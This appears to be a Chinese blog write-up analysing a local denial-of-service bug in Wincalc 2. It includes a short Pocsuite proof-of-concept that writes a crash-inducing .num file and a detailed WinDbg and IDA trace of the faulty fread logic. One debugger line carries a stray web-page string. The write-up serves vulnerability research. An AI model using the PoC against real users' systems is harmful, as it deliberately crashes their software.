作者:k0shl 转载请注明出处:http://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/4ed38161a0d59c52d25a672e757a635b-wcru32z.exe
PoC:
#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '69156' # ssvid
version = '1.0'
author = ['k0Sh1血战排行榜']
vulDate = ''
createDate = '2016-01-01'
updateDate = '2016-01-01'
references = ['http://www.sebug.net/vuldb/ssvid-69156']
name = 'Wincalc 2 (.num) local Buffer Overflow PoC'
appPowerLink = 'https://www.exploit-db.com/apps/4ed38161a0d59c52d25a672e757a635b-wcru32z.exe'
appName = 'Wincalc'
appVersion = '2.0'
vulType = 'Local Denial Service'
desc = '''
1、目前attack暂缺,可以通过--verify生成样本文件
2、原poc链接下载的exe无法触发漏洞,会直接退出,exploit-db下载的版本可以使用
'''
samples = ['']
def _attack(self):
result = {}
#Write your code here
return self.parse_output(result)
def _verify(self):
result = {}
#Write your code here
poc = '\x41' * 4
f = open('wincalc.poc','w')
f.write(poc)
f.close()
result['FileInfo'] = {}
result['FileInfo']['Content'] = 'Create WinCalc PoC OK!'
return self.parse_output(result)
def parse_output(self, result):
#parse output
output = Output(self)
if result:
output.success(result)
else:
output.fail('File Create Failure!')
return output
register(TestPOC)
测试环境:
Win xp sp3
这个PoC仍然是基于创宇的Pocsuite写的,可以提取payload部分重新写一个,运行会生成一个.num文件,之后直接用Wincalc2打开.num软件,触发漏洞。
漏洞复现
此漏洞是由于执行文件读取.num文件时,在读取文件之后的if语句判断中,由于操作失误,导致本应读取地址的地方却变成了读取缓冲区前4位,导致程序读取指针失败,因此,只要是.num文件前4位不是一个在内存空间中可读的地址,就会出现崩溃的情况,而并不像PoC中说的那样需要超长字符串,但目前我没有想出这种漏洞的利用方式,从现在来看,此漏洞只能造成本地拒绝服务,下面对此漏洞进行详细的分析。
首先我们通过Pocsuite生成样本文件,打开wincalc,加载样本文件,程序崩溃,Windbg弹出。
0:000> g
(790.7f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=0046ee18 ecx=41414141 edx=00000000 esi=00992d90 edi=00ac1dc8
eip=00417a74 esp=0012f9dc ebp=0012fa20 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
wcalcru!_GetExceptDLLinfo+0x16a2e:
00417a74 837c8e4100 cmp dword ptr [esi+ecx*4+41h],0 ds:0023:059e32d5=jQuery21405961041268892586_1451650865293??????
可以看到此时esi+ecx*4+41h是一个不可读的地址,此时ecx的值是41414141,我们通过kb查看堆栈调用。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fa20 00417c71 00992d90 00ac1dc8 00000000 wcalcru!_GetExceptDLLinfo+0x16a2e
0012fa50 00417885 00992d90 00ac1dc8 00f80044 wcalcru!_GetExceptDLLinfo+0x16c2b
0012fa70 00432582 00992d90 00f80044 0012faa0 wcalcru!_GetExceptDLLinfo+0x1683f
0012fa80 004327f4 00992d90 00417832 00000000 wcalcru!_GetExceptDLLinfo+0x3153c
0012faa0 0043846e 009930bf 0012fad4 00f80044 wcalcru!_GetExceptDLLinfo+0x317ae
0012fafc 0043856e 009930cb 00000233 00f80044 wcalcru!_GetExceptDLLinfo+0x37428
我们要通过回溯的方法观察漏洞触发的原因,首先我们要检查的位置是00417c71。
漏洞分析
我们在00417c6c下断点,然后重新打开程序,并附加样本。
0:001> bp 00417c6c
*** WARNING: Unable to verify checksum for C:\peanut\wcalcru.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\peanut\wcalcru.exe -
0:001> g
Breakpoint 0 hit
eax=00992b28 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8
eip=00417c6c esp=0012fa28 ebp=0012fa50 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
wcalcru!_GetExceptDLLinfo+0x16c26:
00417c6c e8befdffff call wcalcru!_GetExceptDLLinfo+0x169e9 (00417a2f)
0:000> p
(498.66c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=0046ee18 ecx=41414141 edx=00000000 esi=00992d90 edi=00ac1dc8
eip=00417a74 esp=0012f9dc ebp=0012fa20 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
wcalcru!_GetExceptDLLinfo+0x16a2e:
00417a74 837c8e4100 cmp dword ptr [esi+ecx*4+41h],0 ds:0023:059e32d5=????????
可以看到在00417c6c程序中断,我们通过F10步过,到达漏洞现场,说明问题出现在00417c6c处的call函数中,我们首先在外层函数中观察一下汇编代码。
.text:00417C68 add esp, 8
.text:00417C6B push esi
.text:00417C6C call sub_417A2F
我们通过F11步入这个sub_417a2f中,查看一下进入后的部分代码。
0:000> p
eax=00992b28 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8
eip=00417a3b esp=0012f9dc ebp=0012fa20 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207
wcalcru!_GetExceptDLLinfo+0x169f5:
00417a3b 684d2f4600 push offset wcalcru!__CPPdebugHook+0x1de6 (00462f4d)
0:000> p
eax=00992b28 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8
eip=00417a40 esp=0012f9d8 ebp=0012fa20 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207
wcalcru!_GetExceptDLLinfo+0x169fa:
00417a40 8b864e020000 mov eax,dword ptr [esi+24Eh] ds:0023:00992fde=00993314
0:000> p
eax=00993314 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8
eip=00417a46 esp=0012f9d8 ebp=0012fa20 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207
wcalcru!_GetExceptDLLinfo+0x16a00:
00417a46 ff7008 push dword ptr [eax+8] ds:0023:0099331c=00992b28
0:000> p
eax=00993314 ebx=00ac1df8 ecx=00000000 edx=00000034 esi=00992d90 edi=00ac1dc8
eip=00417a49 esp=0012f9d4 ebp=0012fa20 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207
wcalcru!_GetExceptDLLinfo+0x16a03:
00417a49 e8cae10300 call wcalcru!__unlockDebuggerData$qv+0x2e30 (00455c18)
这里的call调用需要关注一下,到达这里时,我们通过esp来观察一下这里call调用时的两个push进来的参数。
第一个参数
0:000> dc poi(esp)
00992b28 445c3a43 6d75636f 73746e65 646e6120 C:\Documents and
00992b38 74655320 676e6974 64415c73 696e696d Settings\Admini
00992b48 61727473 5c726f74 636e6977 2e636c61 strator\wincalc.
00992b58 006d756e 00000000 00000000 00000000 num.............
第二个参数
0:000> dc poi(esp+4)
00462f4d 00006272 4d554e00 6e695700 636c6163 rb
可以看到第一处参数是一个路径,第二个参数是rb,那么我们可以猜测此处函数调用应该是一个fopen函数,打开的就是我们的漏洞文件。
接下来我们继续单步跟踪。
0:000> p
eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8
eip=00417a60 esp=0012f9dc ebp=0012fa20 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
wcalcru!_GetExceptDLLinfo+0x16a1a:
00417a60 53 push ebx
0:000> p
eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8
eip=00417a61 esp=0012f9d8 ebp=0012fa20 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
wcalcru!_GetExceptDLLinfo+0x16a1b:
00417a61 6a01 push 1
0:000> p
eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8
eip=00417a63 esp=0012f9d4 ebp=0012fa20 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
wcalcru!_GetExceptDLLinfo+0x16a1d:
00417a63 6a04 push 4
0:000> p
eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=00ac2000 esi=00992d90 edi=00ac1dc8
eip=00417a65 esp=0012f9d0 ebp=0012fa20 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
wcalcru!_GetExceptDLLinfo+0x16a1f:
00417a65 8d55fc lea edx,[ebp-4]
0:000> p
eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=0012fa1c esi=00992d90 edi=00ac1dc8
eip=00417a68 esp=0012f9d0 ebp=0012fa20 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
wcalcru!_GetExceptDLLinfo+0x16a22:
00417a68 52 push edx
0:000> p
eax=0046ee18 ebx=0046ee18 ecx=00008000 edx=0012fa1c esi=00992d90 edi=00ac1dc8
eip=00417a69 esp=0012f9cc ebp=0012fa20 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
wcalcru!_GetExceptDLLinfo+0x16a23:
00417a69 e8e2e30300 call wcalcru!__unlockDebuggerData$qv+0x3068 (00455e50)
到达这处call函数的时候,我们发现传入了4个参数,其实这里是一处fread,这一点,我们可以通过ida pro来佐证。
.text:00417A60 push ebx ; stream
.text:00417A61 push 1 ; n
.text:00417A63 push 4 ; size
.text:00417A65 lea edx, [ebp+ptr]
.text:00417A68 push edx ; ptr
.text:00417A69 call _fread
可以看到edx寄存器存放了ptr指针的值,其实这个值的地址是用来保存读取的文件的,我们要记住这个值。
0:000> r edx
edx=0012fa1c
而且我们看到,读取的第二个参数是4,也就是说,只读取4位。
0:000> p
eax=00000001 ebx=0046ee18 ecx=00000041 edx=00000000 esi=00992d90 edi=00ac1dc8
eip=00417a6e esp=0012f9cc ebp=0012fa20 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
wcalcru!_GetExceptDLLinfo+0x16a28:
00417a6e 83c410 add esp,10h
0:000> dc 0012fa1c
0012fa1c 41414141
可以看到此时读取到的值是41414141,也就是前4位,但是后来继续跟进。
0:000> p
eax=00000001 ebx=0046ee18 ecx=00000041 edx=00000000 esi=00992d90 edi=00ac1dc8
eip=00417a71 esp=0012f9dc ebp=0012fa20 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
wcalcru!_GetExceptDLLinfo+0x16a2b:
00417a71 8b4dfc mov ecx,dword ptr [ebp-4] ss:0023:0012fa1c=41414141
0:000> p
eax=00000001 ebx=0046ee18 ecx=41414141 edx=00000000 esi=00992d90 edi=00ac1dc8
eip=00417a74 esp=0012f9dc ebp=0012fa20 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
wcalcru!_GetExceptDLLinfo+0x16a2e:
00417a74 837c8e4100 cmp dword ptr [esi+ecx*4+41h],0 ds:0023:059e32d5=????????
可以看到紧接着ebp-4地址的值交给ecx,此时,这里的赋值应该是赋值一个地址,而不是缓冲区的值,从而导致了地址不可读,引发拒绝服务。